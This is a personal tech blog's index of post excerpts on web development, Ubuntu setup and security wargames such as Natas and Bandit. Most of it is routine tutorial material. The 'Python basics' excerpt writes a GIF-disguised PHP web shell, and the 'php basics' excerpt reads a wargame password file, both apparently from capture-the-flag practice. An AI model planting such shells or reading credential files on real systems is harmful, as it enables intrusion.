Again, Mozilla Festival (MozFest) was an inspiring weekend event full of great conversations about web, artificial intelligence and many projects that [...]
11/18/2019
MozFest 2019 in London
[Event] AWS Summit Berlin 6-7 June 2018
I had an opportunity to attend AWS Summit Berlin 2018 which was interesting, but also one of the most “secure” conferences I have ever attended [...]
06/08/2018
[Event] #causeascene Conference – Berlin – 4 June 2018
#CauseAScene is the strategic disruption of the status quo in tech organizations, communities, & events organized by Kim Crayton. The latest [...]
06/05/2018
[Event] Berlin Hack & Tell #61 – “Revolutionary May Hacks” – 30 May 2018
On my first visit of c-base Raumstation I had the pleasure to participate at Berlin Hack and Tell and present a 5 min demo of the project dyke.tech with [...]
05/30/2018
[Event] Dev Day 2018 Berlin – 26 May 2018
Dev Day Webpage is a developer’s conference in Berlin and Faro where developers can learn about the latest technologies. In Berlin the event was held [...]
05/29/2018
[Event] ngGirls Workshop Berlin – 27 May 2018
The last Sunday in May was the ngGirls Workshop Day at the SinnerSchrader office in Berlin. I have applied as I had totally no experience with Angular, [...]
05/29/2018
[Event] Ubuntu Installation Party – Bionic Beaver 18.04 LTS – 22 May 2018
Lesbian-Feminist University organized the »Ubuntu/Linux installation party« on Tuesday, May 22nd 2018, at club Tiffany (SKUC-Cultural center Q), Metelkova, [...]
05/25/2018
[Event] Big Data Berlin #15 – 24 May 2018 – Photos
Link to event Livestream Video Nadine Schoene: 13:01 Chris Adams: 37:01 Jennifer Ahrens: 57:01 Talks: Elena Poughia: The social network: How I stopped [...]
05/25/2018
[Event] Women Who Code – Berlin – 23 May 2018
Details about event: https://www.meetup.com/Women-Who-Code-Berlin-Germany/events/249704886/ Talk 1 – Property Graph and Graph Analytics on top of a [...]
05/24/2018
[Event] re:publica 2018 – Berlin – 2-4 May 2018
A playlist with highlights from re:publica 2018 – Europe’s biggest conference on topics concerning digitisation and society – happening between [...]
05/20/2018
[Event] Peer-to-Peer Web Berlin – 5 May 2018
Here are some notes taken at the event and dealing with dat protocol, Beaker Browser, it’s installation and using dat in the console. Recording of [...]
05/19/2018
[Event] Mozilla’s Global Sprint 2018 – 10-11 May 2018
Mozilla’s Global Sprint — open-source hackathon — was in progress on Thursday, May 10 and Friday, May 11. I have participated at Mozilla’s Berlin [...]
05/19/2018
[Workshop] Node.js & Get Data from the Web @ LFU
The Node.js & Get Data from the Web workshop happened on 13. & 27. March 2018 at Cultural Center Q – Club Tiffany, Ljubljana, Slovenia. As [...]
04/19/2018
Diversity tickets
Conference Date Location Application due Link GraphQL-Europe June 15, 2018 Berlin, Germany, EU June 2, 2018 (midnight UTC) Apply Closed for applications [...]
03/22/2018
Scrape Google for images
GitHub $git clone "https://github.com/quickresolve/img-scrapers.git" Enter img-scrapers directory $cd img-scrapers/ Install npm modules $npm install Run [...]
02/23/2018
Add color to the console in Node.js
Package on npm Installation npm install --save-dev colors Usage var colors = require('colors/safe'); var volume = " ▁ ▂ ▃ ▄ ▅ ▆ █" [...]
02/10/2018
Node.js Basics
Create a node module new-module.js exports.myText = 'Hi from the module'; module-demo.js var myModule = require('./new-module'); [...]
02/03/2018
cheerio – jQuery for the server
Fast, flexible & lean implementation of core jQuery designed specifically for the server. Cheerio on GitHub Installation npm install cheerio Usage [...]
01/25/2018
axios – a promise based HTTP client
Axios is a promise based HTTP client for the browser and node.js. axios GitHub Installation npm install axios or add to the web page <script [...]
01/25/2018
Robomongo / Robo 3T
Robomongo is a MongoDB management tool with integrated mongoDB shell where you can view, edit and delete documents. Download robomongo.org Install Extract [...]
01/24/2018
httpie: HTTP GET, POST … requests in console
https://httpie.org/ github Install sudo apt install httpie Sample request http GET http://localhost:4000/api/users http GET :4000/api/users http GET [...]
01/22/2018
Express and Express Generator
Install Express and Express generator npm install express --global npm install express-generator -g Check if it is succesfully installed: express --help [...]
01/20/2018
Moment.js
Parse, validate, manipulate, and display dates and times in JavaScript. Moment.js docs moment().format('MMMM Do YYYY, h:mm:ss a'); // January 25th 2018, [...]
01/10/2018
Testing Mobile Web site on Android
Setup on laptop Install Chrome Canary or Chromium Go to chrome://inspect/#devices and enable Discover USB devices Setup for mobile Put the phone it in [...]
01/07/2018
Run a local server and make it available remotely
Run a local server cd /path/to/your-project-folder # python2 python -m SimpleHTTPServer 8080 # python3 python3 -m http.server 8080 Open a browser and visit [...]
01/07/2018
Chrome Canary Dev Tools
Coverage Use Coverage to analyze how much code in the CSS, JS files was actually used on the page. It is updated in real time Go to Dev tools > Sources [...]
01/07/2018
Install Win7, Win 8.1 and Win 10 on the Virtual machine
Download Windows Go to Windows Download Page And choose the preferred virtual machine and platform. You can choose between the following virtual machines: [...]
01/07/2018
Web Accessibility
Testing guidelines Tab through the content to see if :focus is added Focus order is correct Add role if element is not semantic eg. div for button Add [...]
01/07/2018
a11y command line tool for accessibility
Web page GitHub repository Installation npm install a11y You might need to install phantomjs beforehand if the installation fails. npm install [...]
01/07/2018
Intro to Elasticsearch
GitHub Page Intro Download Elasticsearch tar https://www.elastic.co/start examples are using version 5.4.1 Extract tar into directory Start elasticsearch [...]
01/06/2018
Udacity: Responsive Web Design and Responsive Images
Simulators, Emulators and Real Devices In Chrome Dev Tools – Emulator icon Pixel density Emulate a custom device Select Edit from the Responsive [...]
01/04/2018
JPG and PNG image optimization on Linux
JPG optimization Download jpegoptim from https://github.com/tjko/jpegoptim git clone git@github.com:tjko/jpegoptim.git Install jpegoptim ./configure make [...]
01/04/2018
Udacity: Website Performance Optimization
Udacity Project https://github.com/udacity/frontend-nanodegree-mobile-portfolio Analysis tools https://developers.google.com/speed/pagespeed/insights/ [...]
01/02/2018
Udacity: Browser Rendering Optimization
60 frames per second – approx 10-16 ms per frame Making a frame HTTP GET request Server sends HTML Browser parses HTML into DOM – PARSE HTML [...]
12/20/2017
First step into Arduino and Node.js
Install Firmata on Arduino Open Arduino IDE – Select: File > Examples > Firmata > StandardFirmataPlus and Upload it to the Arduino Install [...]
12/18/2017
Intro into testing
Various testing Unit testing – code unit – usually a function, usually run in a headless browser Integration testing – in real browsers, [...]
12/15/2017
Location data
http://dev.maxmind.com/geoip/legacy/geolite/ Download GeoLite Country Binary / gzip and unpack it. Usage https://dev.maxmind.com/geoip/legacy/downloadable/ [...]
12/10/2017
Local WordPress development on Ubuntu is super easy
If you are tired of changing localhost domain to the correct one before the siteis published this tutorial is for you. We will create a local domain so [...]
12/05/2017
Force https in .htaccess
RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$ https://www.example.com/$1 [R,L] Change example.com to your domain name. More info
10/16/2017
Convert online image to base64 code
Append the output of wget https://..../image.jpg && cat image.jpg | base64 to data:image/jpeg;base64,
10/06/2017
simplehttpserver
simplehttpserver on npm Instalation npm install simplehttpserver -g Run the server simplehttpserver [directory] simplehttpserver . # current directory View [...]
09/01/2017
ScrollMagic
08/27/2017
Materialize CSS Framework
08/27/2017
perf-tooling.today
08/27/2017
PERF ROCKS
08/27/2017
JankFree
08/27/2017
Gitbook
Gitbook on Github Gitbook documentation Gitbook default theme npm install -g gitbook-cli gitbook init // initialize project in the current folder gitbook [...]
08/27/2017
GSAP – JavaScript HTML5 animation
Official Page Cheat Sheet for GSAP Examples Simple Tween Repeat button Draggable objects Convert shape into path Morphing Paths
08/26/2017
SVG animations with Examples
Resources Chris Coyier – The wonderful world of SVG Cheat Sheet SVG Optimizers SVG omg SVG Editor Helpers Cubic Bezier Better performance Easings CSS [...]
08/23/2017
airbnb.design
08/22/2017
Downloading files with wget
Download all .jpg files from a web page wget -r -A .jpg http://site.with.images/url/ Gather all links on the page After you gather all needed links in [...]
08/17/2017
Mailchimp’s Style Guide
08/16/2017
MailChimp’s Voice & Tone
08/16/2017
Pug (ex. Jade)
Pug Documentation Pug Cli Setup npm init npm install gulp --save-dev npm install gulp-pug --save-dev npm install rename --save-dev Gulpfile.js const gulp = [...]
08/16/2017
Saving data to ACF Repeater Field with JavaScript – Tutorial
In this tutorial we will create a Custom post Type named Terms, use Advanced Custom Fields PRO (with ACF Repeater Field) to make a beautiful admin [...]
08/05/2017
Serve Web Pages from Local Folder with Web Server for Chrome
Sometimes you need to have web pages on localhost in order to test them properly. Web Server for Chrome is a Chrome app that enables you to setup a local [...]
07/30/2017
Vue.js – Beginners Guide
I am sure you have already heard about React, Angular and maybe Vue.js. Today you will get a glimpse into Vue.js and it’s amazing features. [...]
07/29/2017
Scrapy: Scraping Web Sites with Python – Tutorial
Scrapy is a very powerful framework that enables you to crawl web pages and extract information you need. Installation pip install scrapy Start the project [...]
07/28/2017
How to get the XPath in Chrome Browser
So you need an XPath for your script or scraper and you have Chrome installed. No problem! Just follow these two steps and you will have your XPath ready. [...]
07/27/2017
Top Atom Plugins You Shouldn’t Live Without
atom-beautify atom-wordpress autoclose-html browser-plus color-picker emmet gitignore-snippets language-markdown markdown-preview-enhanced linter [...]
07/20/2017
Access Log in Apache – Learn how to parse it
There are a couple of ways to parse Apache's access log. It's easiest to examine the file with goaccess or awk, but you can also use python!
07/18/2017
Chrome headless
Headless Chrome is a way to run the Chrome browser in a headless environment. Installation chrome --headless --remote-debugging-port=9222 [...]
07/16/2017
Basics of Wireshark
Installation sudo aptitude wireshark Enable capture a traffic as a non-root user using a wireshark setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' [...]
07/10/2017
Browse the web using VPN vpnbook – Setup
Here are simple steps that will enable you to browse anonymously / hide your real IP. Go to https://www.vpnbook.com/freevpn Download US1 OpenVPN [...]
07/10/2017
Conversational blog @typeform.com
07/10/2017
Install Anki Flashcards
Installation First download the Compiled package from the Anki official page and execute the following commands: Then execute the following code (make sure [...]
07/05/2017
Meta Box for WordPress Posts and WP REST API
What are Meta Boxes? Meta box is part of the entry form on the post/page editing admin page. In the image below we can see Title, Editor, Format and [...]
06/03/2017
WordPress Taxonomy – Your Custom Categories and Tags
Taxonomies are generally based either on Categories (hierarhical) or on Tags (non-hierarhical) and can be included in default or custom post types. Default [...]
06/03/2017
Child Themes in WordPress Make Me Happy
Child theme is a great option if you are using a theme downloaded from WordPress.org or another theme provider. A child theme needs to have: – their [...]
06/03/2017
Post Types in WordPress: How to Generate Them
Custom post types are a cornerstone of WP REST API. Today we will learn which default post types are already included in WordPress, where we can find them [...]
06/03/2017
WordPress Theme Unit Test Data
06/02/2017
First steps into git
Git is a free and open source distributed version control system you can use with your projects. It also enables you to store your data in the remote [...]
06/02/2017
Force https in .htaccess
RewriteEngine On RewriteCond %{HTTPS} !on RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} SOURCE
06/01/2017
Lighthouse: Analyze your Web App or Web Page
Learn to use Google's Lighthouse - a tool for web app and web page analysis.
05/30/2017
Simple web scraping in the browser
I am sure you have seen people (or even yourself) copying and pasting some data from the web, however with a little bit of “hacker” skills you [...]
05/30/2017
The structure of Apache Server Log
Apache2 server log is located at /var/log/apache2/access.log. It displays entries like: 127.0.0.1 - - [30/May/2017:11:36:50 +0200] "GET [...]
05/30/2017
Don’t start a project without Gulp!
Resources Gulp Gulp Recepies Create a project Make a new folder and run the following code mkdir sample-project cd sample-project sudo npm init This will [...]
05/30/2017
WordPress: export JS from php
Prepare the data in functions.php // functions.php wp_localize_script( 'main_js', // name of script name 'theData', // name of the object we want to output [...]
05/30/2017
WordPress REST API – JavaScript & Backbone
Resources Backbone JavaScript Client Client enables all CRUD operations on the content in WP database. Below two examples are shown – reading and [...]
05/29/2017
WordPress Permalinks on Ubuntu Apache Server
I have encountered this interesting issue with WordPress permalinks when I was installing WordPress locally. Everything was fine until I changed WordPress [...]
05/29/2017
WordPress REST API with Read and Post Examples
Main Resources WP REST API REST API Handbook Nonce Nonce tips and tricks The WordPress REST API provides API endpoints for WordPress data types that allow [...]
05/29/2017
git – Check and Change Remote Location
Did it ever happen to you that you have started a local git repository for functionality test or proof of concept and after a few days you had no idea [...]
05/29/2017
JavaScript Promises
Promises sound nice, right (at least better than AJAX which always reminds me of cleaning)? And almost like in real life, JavaScript promises have three [...]
05/28/2017
Progressive Web Apps Training by Google
Here is some candy for all of you who would like to learn more about Progressive Web Apps. Google preapred Progressive Web Apps Training training with lots [...]
05/28/2017
Atom, please stop ignoring files in .gitignore!
You will need to modify config.cson. You can find it by going to the top menu bar: Edit > Config. Then set hideVcsIgnoredFiles to true. editor: [...]
05/27/2017
ApacheBench
Homepage Installation Refresh the package database. sudo apt-get update Install the apache2-utils package to get access to ApacheBench. apt-get install [...]
05/26/2017
Measure Performance of Python script
Best option from timeit import default_timer as timer start = timer() # ... end = timer() print(end - start) Simple one import time start = time.time() [...]
05/19/2017
Update Node
Check node version node -v Clear NPM’s cache: sudo npm cache clean -f Install a little helper called ‘n’ sudo npm install -g n Install [...]
05/18/2017
Download all episodes of JavaScript Jabber Podcast
Podcast: JavaScript Jabber https://devchat.tv/js-jabber Extract all mp3 links on https://feeds.feedwrench.com/JavaScriptJabber.rss var mp3 = []; [...]
05/17/2017
Download a list of pdfs
To download a list of pdfs, gather the all in one txt file and run the following in the console: wget -i url-list.txt Wait until they are all downloaded. [...]
05/16/2017
Ubuntu – issues after restart
Try to reboot into earlier linux image in GRUB. If it works, try to reinstall the faulty version // caution - not tested yet! + change the version! sudo [...]
05/04/2017
Testing JavaScript performance
/* https://benchmarkjs.com/ INITIALIZE ============== sudo npm i -g npm // update npm sudo npm update -g // update packages npm init // initiate project [...]
05/03/2017
Codewars Leaderboard – Twitter, GitHub link extraction
/* Code parses leaderboard on https://www.codewars.com/users/leaderboard/kata and extracts users profiles */ var linkStorage = ''; [...]
05/02/2017
Jared Spool – Parsing web pages with jQuery and Python
Today we will parse the library of videos on the page https://aycl.uie.com/. Workflow Login to the page Reveal all links in seminars Use jQuery to get all [...]
04/28/2017
Best Practices in JavaScript Library Design
Video Writing Solid API Orthagonal code Perfom Universal Action CRUD your methods add/remove/delete/modify Fuel has the following on ecery object .all, [...]
04/18/2017
Bower
Bower is a package manager for the web. For libraries and frameworks like Bootstrap, jQuery, Font-Awesome, D3, lodash, Vue… Search the List npm init [...]
04/13/2017
JavaScript & jQuery snippets
Patterns Module Patterns Explained (source) Anonymous Closures (function () { // ... all vars and functions are in this scope only // still maintains [...]
04/13/2017
First Steps into Babel
Source Install Packages sudo npm install --save-dev babel-cli babel-preset-env Installation for gulp sudo npm install --save-dev gulp sudo npm install [...]
04/13/2017
QUnit
Quick overview Assertions ok(state, message) equal(actual, expected, message) notEqual deepEqual notDeepEqual strictEqual // most useful === notStrictEqual [...]
04/11/2017
CentOS7 Install Graphical User Interface
yum groupinstall "GNOME Desktop" "Graphical Administration Tools" ls -sf /lib/systemd/system/runlevel5.target /lib/systemd/system/default.target
03/25/2017
Install Wacom tablet
Instructions Prerequisites Before building, you’ll need to ensure the necessary dependencies have been installed on your system: sudo apt-get install [...]
03/25/2017
Mounting Second Drive to root
First edit /etc/fstab /dev/sda1 /STORAGE ext4 acl,user_xattr 1 2 Then create new folder and change ownership: cd / sudo mkdir /STORAGE sudo chown -R [...]
03/25/2017
Upgrade Ubuntu to new version
https://www.linuxbabe.com/ubuntu/upgrade-ubuntu-16-04-to-ubuntu-16-10 in Software and Updates Select the Updates tab and then at the bottom of window, [...]
03/24/2017
Install and Uninstall .deb Packages
Install .deb package sudo dpkg -i DEB_PACKAGE Uninstall .deb package sudo dpkg -r DEB_PACKAGE Reconfigure the package sudo dpkg-reconfigure PACKAGE_NAME
03/24/2017
Share files between two Ubuntu computers
sudo apt-get install openssh-server Edit config sudo nano /etc/ssh/sshd_config Change Port 2222 // change from default 22 PermitRootLogin no [...]
03/23/2017
Install Stacer on Ubuntu
Stacer is a nice tool for Linux System Optimization adn Monitoring. Instalation Download Stacer from GitHub. Choose .deb file for Ubuntu Then run the [...]
03/23/2017
Install PyCharm on Ubuntu
sudo add-apt-repository ppa:mystic-mirage/pycharm && sudo apt-get update && sudo apt-get install pycharm-community Source
03/23/2017
Install Atom on Ubuntu
sudo add-apt-repository ppa:webupd8team/atom sudo apt-get update sudo apt-get install atom
03/23/2017
Export list of installed programs and install them on another computer (Ubuntu)
Step 1: Store the list of installed packages Run the following command on the source machine to store the installed packages names in ~/pkglist: sudo dpkg [...]
03/23/2017
Fix Error: No Bootable Device after Installation on Ubuntu
Enter into Boot menu with F2 – Boot Tab – make sure that Secure Boot is turned on – Security tab and look for “Select an UEFI file as [...]
03/23/2017
Chroot Ubuntu from Live CD
sudo mount /dev/sdXY /mnt sudo mount --bind /dev /mnt/dev && sudo mount --bind /dev/pts /mnt/dev/pts && sudo mount --bind /proc /mnt/proc [...]
03/23/2017
Embed the base64-encoded image in HTML
Add image as base64 encoded <img src="data:image/png;base64,___iVBORw0KGgoAAAANSUhEU___"> Get the encoded image Right Click on image > Inspect [...]
03/21/2017
youtube-dl Video and Audio Download
YouTube-dl is a command-line program to download videos from YouTube.com and other video sites. We will look into it’s basic usage. Instalation sudo [...]
03/17/2017
Use mysqlslap for SQL Query testing
Note: mysqlslap is installed together with mysql server Official description of mysqlslap mysqlslap is a diagnostic program designed to emulate client load [...]
03/17/2017
Sample User Agents
Get your user agent by entering the following code into browser console: navigator.userAgent Chromium on Ubuntu "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 [...]
03/17/2017
Heimdall
Heimdall is a cross-platform open-source tool suite used to flash firmware (aka ROMs) onto Samsung mobile devices. http://glassechidna.com.au/heimdall/ [...]
03/16/2017
Install Brackets on Ubuntu
sudo apt-add-repository ppa:webupd8team/brackets sudo apt-get update sudo apt-get install brackets
03/01/2017
D3.js basics – Element selection
D3 is a superb JavaScript library for data vizualization. Here are some basics that will get you started. Selection of elements You can use CSS selectors [...]
02/27/2017
Connect Django with MySQL database
Install MySQL Client From source Download the source file mysqlclient-1.3.10.tar.gz. at mysqlclient and untar it. tar xf mysqlclient-1.3.10.tar.gz Then go [...]
02/27/2017
Sonic Pi Installation on Ubuntu
Sonic Pi sudo add-apt-repository ppa:sonic-pi/ppa sudo apt-get update sudo apt-get install sonic-pi
02/24/2017
Make a Pull Request on Github
Note: you need to have ssh key associated with github. Look into ssh post and check ssh keys on https://github.com/settings/keys Fork the original project [...]
02/08/2017
Install gulp.js on Ubuntu
Installation steps sudo npm install gulp-cli -g sudo npm install gulp -D touch gulpfile.js gulp --help Use gulp with your project Make sure you have files [...]
02/07/2017
Install Node.js on Ubuntu
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - sudo apt install -y nodejs # or curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash [...]
02/07/2017
Install LAMP server and phpmyadmin on Ubuntu
Install Lamp server sudo apt-get install lamp-server^ http://localhost/ or http://127.0.0.1/ Restart server sudo /etc/init.d/apache2 restart Install [...]
02/07/2017
tmux
sudo apt install tmux sudo yum install tmux To make aliases available in tmux open .bash_profile and add source ~/.bashrc
02/07/2017
Generate ssh keys
ssh-keygen -t rsa -b 4096 ssh-copy-id -i ~/.ssh/kcq_stage.pub kcqstage@companion.dreamhost.com ssh kcqstage@companion.dreamhost.com Setup for github ls -al [...]
02/07/2017
Django Girls Tutorial
02/07/2017
Install wpscan on Ubuntu
sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev su -l cd ~ curl -sSL [...]
02/06/2017
Install wp-cli
Project homepage: https://github.com/wp-cli/wp-cli $ curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar $ php wp-cli.phar [...]
02/06/2017
Cheat Install
What you do when you are not sure of the command you are running especially in case of complex commands which uses a lot of options. We use man pages to [...]
02/06/2017
Install CentOS 7 on VirtualBox
First enable/add NatNetwork and Host only Network in VirtualBox Interface File > Preferences > Network If Host-only adapter gives error on Windows go to [...]
02/02/2017
Install VirtualBox 5.1 on Ubuntu 16.4
Option 1 with Guest additions Link to iso http://download.virtualbox.org/virtualbox/5.1.14/ sudo apt-key adv --keyserver ha.pool.sks-keyservers.net [...]
02/02/2017
GIMP like Photoshop
http://www.webupd8.org/2014/02/gimp-get-photoshop-like-keyboard.html http://doctormo.deviantart.com/art/Gimp-2-8-Photoshop-Tweaks-432736644
01/25/2017
Bandit all levels
Game Page – Level 0 Level Goal The goal of this level is for you to log into the game using SSH. The host to which you need to connect is [...]
12/07/2016
Apache Spark
BerkeleyX CS105x on EdX https://courses.edx.org/courses/course-v1:BerkeleyX+CS105x+1T2016/courseware Scalable, efficient analysis of Big Data. Week 1 [...]
12/07/2016
dword
Convert IP to dword 206.191.158.55. 206 * 256 + 191 = * 256 + 158 = * 256 + 55 = 3468664375 dword number, any multiple of the quantity 4294967296 (2^564) [...]
12/07/2016
CSS Attribute selector
HTML <td data-gender="male">...</td> CSS td[data-gender="male"] { ... } Jquery $('td:contains("male")') $(element).not(":contains('male')")
12/06/2016
Gedit on steroids
Install Gedit sudo apt-get install gedit Install plugins sudo apt-get install gedit-plugins Run gedit from terminal: gedit filename.c Enable plugins: Edit [...]
11/16/2016
R
Install R on Cloud 9 Download wget http://cran.r-project.org/src/base/R-3/R-3.0.3.tar.gz tar -xzf R-3.0.3.tar.gz cd R-3.0.3 Install sudo apt-get update [...]
11/14/2016
Algorithms
Computational complexity When we talk about the complexity of an algorithm, we generally refer to the worst-case scenario (Big O) and the best case [...]
11/13/2016
C basics
https://learnxinyminutes.com/docs/c/ http://pubs.opengroup.org/onlinepubs/9699919799/ http://www.cprogramming.com/tutorial/ Ctrl + L = Clear screen Get [...]
11/04/2016
Bash coloring
Plugin https://github.com/Bash-it/bash-it Old way http://misc.flogisoft.com/bash/tip_colors_and_formatting
10/18/2016
Python install tkinter
#python2 sudo apt-get install python-tk # python3 sudo apt-get install python3-tk
10/17/2016
Python graphs with matplotlib
Install with pip pip install matplotlib # or pip3 install matplotlib #or sudo apt-get build-dep python-matplotlib # or git clone [...]
10/16/2016
Leviathan
This wargame doesn’t require any knowledge about programming – just a bit of common sense and some knowledge about basic *nix commands. We had [...]
10/12/2016
Python basics
Add magic numbers to the beginning of the file fh = open('magic_numbers_gif.php','w') fh.write('\x47\x49\x46\x38' + '<?php passthru($_GET["cmd"]); [...]
10/11/2016
php basics
https://learnxinyminutes.com/docs/php/ http://php.net/manual/en/langref.php Execute bash in php <?php echo exec("cat /etc/natas_webpass/natas13"); ?> [...]
10/11/2016
Crypto
from Crypto.Cipher import AES from Crypto.Cipher import XOR from Crypto.Hash import SHA256 from Crypto.Hash import MD5 import base64 import os # SHA - [...]
10/11/2016
Bash Basics
#!/bin/bash Create a variable and echo it x1='Name' x2=3 echo "${x1}${x2}" # Name3 Shorten string echo "${original::-2}" If sentences # string starts with [...]
10/10/2016
Natas
Natas teaches the basics of serverside web-security. Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, [...]
10/01/2016
Bandit Summary
Game Page For beginners to familiarize themselves with CLI and networking tools. Basic comands cat cat ./- # "-" means STDIN cat <- ls ls -la clear [...]
09/30/2016